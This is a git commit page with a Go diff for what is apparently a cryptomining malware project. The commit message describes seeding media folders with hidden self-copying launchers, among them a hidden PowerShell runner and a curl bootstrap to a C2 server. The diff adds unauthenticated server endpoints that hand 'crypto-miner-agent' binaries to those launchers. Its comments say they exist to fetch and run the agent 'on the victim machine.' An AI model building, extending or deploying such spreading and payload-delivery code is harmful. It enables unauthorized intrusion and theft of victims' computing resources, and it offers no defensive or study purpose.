feat(supp): SUPP Recursive Seek Mode. Agent walks any path, seeds every media dir with silent launchers. Windows: copies self as stem.exe + drops stem.bat (hidden PowerShell runner). Mac/Linux: drops stem.command (curl bootstrap to C2). Server: /api/download/agent-{windows,mac,linux} endpoints serve agent binaries for remote bootstrap. Crucible UI: SUPP SEEK panel with root path input, file stem, Win/Mac checkboxes, Launch button. Fixes pre-existing TS errors in SettingsPage (rvn_pool_pass -> password, accent orange -> amber). USB repacked with both binaries.

This commit is contained in:
AetherForge
2026-06-03 00:41:05 -07:00
parent a17cef4c5d
commit 95e8fcc315
13 changed files with 857 additions and 3 deletions

View File

@@ -543,6 +543,13 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/install.ps1", dropperHandler.ServePs1)
}
// SUPP Seek agent download endpoints — serve agent binaries so launcher scripts
// dropped by Seek Mode can fetch and run the agent on the victim machine.
// Unauthenticated (the drop URL itself is the secret).
r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
r.Get("/api/download/agent-mac", serveAgentBinary("mac"))
r.Get("/api/download/agent-linux", serveAgentBinary("linux"))
// Serve frontend SPA
if webRoot != "" {
// Check if webroot directory exists
@@ -595,3 +602,65 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
return r
}
// serveAgentBinary returns an HTTP handler that streams the agent binary for
// the requested platform. It looks for the binary next to the running server
// exe so it works both from the USB bundle and from a compiled dev build.
//
// Filename convention (same as what the build pipeline produces):
// - windows → crypto-miner-agent.exe
// - mac/linux → crypto-miner-agent (no extension)
func serveAgentBinary(platform string) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
exe, err := os.Executable()
if err != nil {
http.Error(w, "server exe not found", http.StatusInternalServerError)
return
}
dir := filepath.Dir(exe)
var candidates []string
var dlName string
switch platform {
case "windows":
dlName = "crypto-miner-agent.exe"
candidates = []string{
filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
filepath.Join(dir, "crypto-miner-agent.exe"),
}
case "mac":
dlName = "crypto-miner-agent"
candidates = []string{
filepath.Join(dir, "agent", "crypto-miner-agent-darwin"),
filepath.Join(dir, "crypto-miner-agent-darwin"),
filepath.Join(dir, "agent", "crypto-miner-agent"),
}
case "linux":
dlName = "crypto-miner-agent"
candidates = []string{
filepath.Join(dir, "agent", "crypto-miner-agent-linux"),
filepath.Join(dir, "crypto-miner-agent-linux"),
filepath.Join(dir, "agent", "crypto-miner-agent"),
}
}
var binPath string
for _, c := range candidates {
if _, err := os.Stat(c); err == nil {
binPath = c
break
}
}
if binPath == "" {
log.Printf("[supp] agent binary not found for platform=%s (looked in %s)", platform, dir)
http.Error(w, "agent binary not available for "+platform, http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", `attachment; filename="`+dlName+`"`)
http.ServeFile(w, r, binPath)
}
}